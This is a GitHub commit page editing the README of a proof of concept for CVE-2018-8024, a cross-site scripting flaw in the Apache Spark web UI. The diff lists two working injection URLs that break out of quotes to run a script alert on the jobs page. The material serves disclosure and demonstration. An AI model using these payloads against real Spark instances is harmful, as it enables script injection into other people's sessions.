Skip to content

Commit

Permalink
angle brackets
Browse files Browse the repository at this point in the history
  • Loading branch information
SpenGietz committed Dec 18, 2018
1 parent 3bed134 commit b1d75ce
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions CVE-2018-8024/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,8 @@ The vulnerability stems from the confusion of both single and double quotes in t

### Usage/Exploitation
Here are two working examples:
- http://localhost:4040/jobs/?'><script>alert("1");</script>
- http://localhost:4040/jobs/?"'><script>alert(1);</script>
- http://localhost:4040/jobs/?'><script>alert("1");</script>
- http://localhost:4040/jobs/?"'><script>alert(1);</script>

### Screenshot
![Example of the exploit on an outdated Apache Spark instance](poc_image.png)

0 comments on commit b1d75ce

Please sign in to comment.